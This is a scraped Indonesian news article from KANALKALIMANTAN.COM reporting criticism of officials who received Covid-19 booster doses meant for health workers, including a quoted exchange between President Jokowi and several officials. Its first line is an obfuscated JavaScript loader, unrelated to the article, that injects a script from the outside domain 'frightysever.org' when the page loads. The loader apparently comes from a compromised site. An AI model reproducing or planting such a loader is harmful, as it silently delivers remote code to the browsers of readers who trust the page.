(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Bocor pengakuan beberapa pejabat daerah yang sudah mendapatkan vaksin dosis ketiga atau booster. Polemik tersebut menimbulkan berbagai spekulasi, khususnya tentang ‘jalur belakang’ yang dimiliki pejabat.
Relawan LaporCovid-19 Firdaus Ferdiansyah menilai pemberian vaksin dosis ketiga atau booster ketiga bagi para pejabat mesti dicurigai. Mengingat sebelumnya, pemerintah melalui Kementerian Kesehatan (Kemenkes) sudah menegaskan jika vaksin dosis ketiga hanya diberikan kepada tenaga kesehatan (nakes) Indonesia.
“Ini perilaku yang tidak dan sama sekali tidak bisa dibenarkan dan patut dicurigai kenapa kemudian vaksin booster Moderna ini diberikan kepada kelompok yang semestinya tidak berhak untuk mendapatkan,” katanya disadur dari Suara.com, Kamis (26/8/2021).
Jika menelisik pada fenomena pejabat yang mendapatkan vaksin booster ini, ia mengira hal tersebut disebabkan kurangnya proses pengawasan dalam pemberian vaksin.
Baca juga: Ini Herbal Racikan Asli Tanah Kalimantan, Latitaka Borneo, yang Tembus Pasar Turki
Menurutnya lagi, kewenangan pemberian vaksin itu berada di tangan Menteri Kesehatan (Menkes) Budi Gunadi Sadikin.
“Beliau bertanggung jawab atas penentuan kelompok yang berhak mendapatkan vaksin,” ujarnya.
Namun sayang, realita tak seindah yang diharapkan, vaksin ketiga atau booster yang semestinya diberikan hanya kepada nakes, akhirnya dipakai juga untuk para pejabat.
“Kemudian dimanfaatkan oleh istilahnya sekelompok orang, ada kemudian pejabat baik, pejabat di kementerian atau lembaga bahkan sampai di tingkat daerah,” ucapnya geram.
Sebelumnya, sebuah video yang memperdengarkan obrolan Presiden Jokowi dengan beberapa pejabat tentang vaksin dosis ketiga viral dan mendadak jadi sorotan publik.
Momen tersebut terekam saat Presiden Joko Widodo atau Jokowi bersama Menhan Prabowo, Panglima TNI, Kapolri, Gubernur Kaltim, dan Wali Kota Samarinda meninjau pelaksanaan vaksinasi Covid-19 di SMPN 22 Kota Samarinda, Kaltim, Selasa (24/8/2021).
Video itu sebelumnya sempat diunggah di kanal Youtube Sekretariat Presiden, namun kini telah dihapus.
Dalam obrolan tersebut terdengar bahwa sejumlah pejabat sudah menerima suntikan vaksin dosis ketiga atau booster vaksin.
Wali Kota Samarinda Andi Harun mengatakan, sudah mendapat dua suntikan vaksin dan berencana mendapat Vaksin Nusantara.
Presiden Jokowi menanggapi hal tersebut dengan sedikit bercanda, ia menyebut Wali Kota Andi Harun tampak segar.
“Oh, pantes segar benar. Mendahului kita ini Pak Wali Kota,” kata Jokowi sambil tertawa ringan.
Baca juga: UPDATE. Kasus Covid-19 di Banjarbaru Hari Ini Tambah 32 Orang
Presiden Jokowi kemudian bertanya apakah Wali Kota Andi sudah mendapat Vaksin Nusantara sebagai dosis ketiga. Andi lantas mengatakan ia sedang menunggu vaksin tersebut.
“Pada enggak ngajak-ngajak kita ya,” balas Jokowi.
Tak hanya itu, Gubernur Kaltim Isran Noor juga menyebut dirinya telah menerima vaksin booster.
“Saya juga sudah booster, tapi Moderna,” kata Isran dalam video tersebut.
Mendengar pengakuan para pejabat, Menhan Prabowo kemudian bertanya kepada Presiden Jokowi apakah sudah mendapat vaksin booster atau belum.
“Sudah booster semua, Pak. Pak Presiden belum, Pak?” tanya Prabowo.
“Enggak, saya nunggu. Nunggu Pfizer,” jawab Jokowi. (Suara.com)
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Melihat dan menyikapi penyelenggaraan Pilkada (Pemilihan Kepala Daerah) Kota Banjarbaru, pasca terbit… Read More
KANALKALIMANTAN.COM, BANJARBARU - Warga Kota Banjarbaru masih dibuat bingung terkait teknis pemungutan suara pada Pilkada… Read More
KANALKALIMANTAN.COM, BAKU - Pemerintah Indonesia melalui Utusan Khusus Presiden Republik Indonesia Hashim Djojohadikusumo berhasil memikat… Read More
KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More
Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More
This website uses cookies.